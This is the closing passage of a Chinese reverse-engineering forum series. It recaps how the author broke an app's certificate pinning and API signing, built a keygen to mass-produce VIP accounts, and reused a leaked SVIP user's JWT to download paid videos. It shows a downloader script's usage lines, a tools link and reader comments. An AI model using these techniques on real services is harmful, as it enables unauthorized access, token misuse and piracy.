                        并发下载数(默认 8)

示例:
  video_download.py --vid 30053 --m3u8-url "https://preview.xxx/..."
  video_download.py --vid 30053 --jwt "eyJ..."
  video_download.py --vid 30053 --jwt "eyJ..." --download-video --stream 3
  video_download.py                              # 交互模式
运行效果:

fXFzr5aOD.jpg

fXF1SJvyE.jpg

我们可以看到,已经下载下来了完整的金币视频,也和网站中所写的视频时间一致:

fXF1LuhlV.jpg

这里要注意,original 和 480p 画质不太稳定,可能请求不成功,但是 1080p 和 720p 都是可以稳定请求的。

这告诉我们一个道理:一条路走到黑,在逆向的世界中,有很大概率是行不通的。只有灵活变换方向,才能真正看到柳暗花明

七、总结

到这里,这场历时三篇、横跨数周的黑产全链路逆向终于结尾了
先给自己鼓个掌——能坚持看到这里的,都是真爱粉,也说明你对逆向是真有热情。废话不多说,咱们把这三篇的精华串起来,做个彻底的复盘。

上篇,我们像拆迁队一样,先把软件的外壳扒了个干净。从 APK 反编译到 Flutter 框架识别,确定了攻击面。最重要的是,我们深度解析了 APP 识别邀请的逻辑,讲解了 Signing Block V2 的基础知识。别看基础,但没有它,后面全是空中楼阁。

中篇,我们开始玩真的。Flutter 的代理绕过、证书锁定破解、Dart 层的 Blutter 逆向……每一步都是在跟黑产团伙斗智斗勇。最后,我们逆向出了 x-sign ,顺藤摸瓜找到了共享密钥,然后写出了注册机,批量搞到了 VIP 会员。

下篇,本以为VIP到手就结束了,结果发现还有金币视频这个“终极BOSS”。URL 签名、JWT 权限、Line ID……一层接一层的“铜墙铁壁”,差点把我劝退。但老天爷赏饭吃,居然让我们撞上了 JWT 信息泄露这种“天降馅饼”,裸链请求返回的 M3U8 里,赫然躺着 SVIP 用户的 JWT 。靠着它,再结合我们之前逆出来的 API 签名算法,直接调用 playback 接口,金币视频的完整播放地址一览无余。完美收官!


回顾整个过程,你会发现,真正牛逼的不是代码写得有多溜,而是思路。我送给大家几条:

1、别跟防御硬刚,要找它的“软肋”
金币视频的JWT校验那么强,但你非要自己去算或伪造吗?不,我们找到了JWT泄露这条捷径。有时候,绕过问题比解决问题更高效。

2、“降维打击”永远有效
Web端比App端好分析?那就去Web端逆向。VIP视频裸链能访问?那就拿这个思路去测金币视频。永远站在更高的维度看问题。

3、信息就是一切
整个系列下来,我们干的最多的事就是“收集信息”。从APP到社会工程学拿到网址、从URL结构到JS代码,从M3U8内容到JWT载荷,每一个碎片拼起来,就是一张完整的攻击地图。逆向的本质,就是把散落的信息重新组织成真相。

4、心态要稳,脸皮要厚
遇到“签名错误”“令牌无效”“错误的Line ID”的时候,我内心也是崩溃的。但没办法,搞逆向就是这样——99次失败换1次成功。关键是每次失败后,问自己一句:“还有什么我没试过的?”

经过这个系列的学习,也给我们开发者敲响了警钟。如果你是一名开发者,请记住:安全不是加几道锁就完事了,而是要系统性地设计,确保每一环都经得起推敲。
感谢各位的陪伴,咱们下个系列再见!

码字不易,点赞可有?
帖子内所有工具都已放在下面,可供大家练手,评论自取。
https://jiguro.lanzouw.com/iGuX63sfsggh

免费评分

参与人数 16吾爱币 +16 热心值 +14 收起 理由
ynymlpy + 1 + 1 我很赞同!
ztw138 + 1 用心讨论,共获提升!
hj_cdx + 1 + 1 用心讨论,共获提升!
弑神魔尊 + 1 + 1 用心讨论,共获提升!
jingni00 + 1 + 1 用心讨论,共获提升!
thao01 + 1 + 1 热心回复!
尘仙 + 1 + 1 用心讨论,共获提升!
sweether + 1 + 1 我很赞同!
yyc247020 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
libozi + 1 + 1 谢谢@Thanks!
FMTpoty + 1 + 1 我很赞同!
Barih + 1 + 1 谢谢@Thanks!
JackFlyD + 1 + 1 我很赞同!
笨笨家的唯一 + 1 + 1 我很赞同!
XTDR12 + 1 我很赞同!
网络很鬼 + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

wasm2023 发表于 2026-6-23 09:47
貌似群主没有提供相关逆向素材呦,只有工具与脚本呢
fengxuelangqing 发表于 2026-6-24 17:53
大神太牛了,通过 Blutter 逆向还原 Dart 层  我在windos上和liux上搭建blutter都失败  你那边可以将flutter app生成dart代码吗
XTDR12 发表于 2026-6-22 12:08
yunrg 发表于 2026-6-23 12:10
解析太不方便了  可以在启动APP之前 直接替换JWT 签名 替换启动一次后APP就永久是SVIP了
 楼主| JiGuro 发表于 2026-6-23 12:24
yunrg 发表于 2026-6-23 12:10
解析太不方便了  可以在启动APP之前 直接替换JWT 签名 替换启动一次后APP就永久是SVIP了

这个想法很好,但好像启动时使用的 JWT 和请求视频文件时所使用的 JWT 格式好像不同,不过我也不太确定
buzaizb 发表于 2026-6-24 16:00
没想到最后的突破口,居然是开发者自己编写的漏洞
 楼主| JiGuro 发表于 2026-6-24 22:37
fengxuelangqing 发表于 2026-6-24 17:53
大神太牛了,通过 Blutter 逆向还原 Dart 层  我在windos上和liux上搭建blutter都失败  你那边可以将flutte ...

可以的,我也是 Windows 环境
daxi0ng 发表于 2026-6-30 15:49
信息泄露真的是一生之敌
cuterror 发表于 2026-7-1 10:19
什么apk。。。私信一下
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-7-15 08:38

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表